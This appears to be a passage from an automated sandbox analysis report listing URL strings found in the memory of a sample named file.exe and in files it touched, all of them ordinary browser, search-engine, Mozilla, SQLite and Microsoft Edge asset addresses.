Source: file.exe, file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2620824286.000000001DD66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2631980411.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BAKKEGCA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_481.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: BAKKEGCA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: ea20a922-7b2f-419a-a915-f90b5c9e233a.tmp.10.dr, 7b4e177b-7755-4fc8-8f4f-24f051030fd7.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: ea20a922-7b2f-419a-a915-f90b5c9e233a.tmp.10.dr, 7b4e177b-7755-4fc8-8f4f-24f051030fd7.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 7b4e177b-7755-4fc8-8f4f-24f051030fd7.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_481.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_481.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_481.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_481.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://gaana.com/
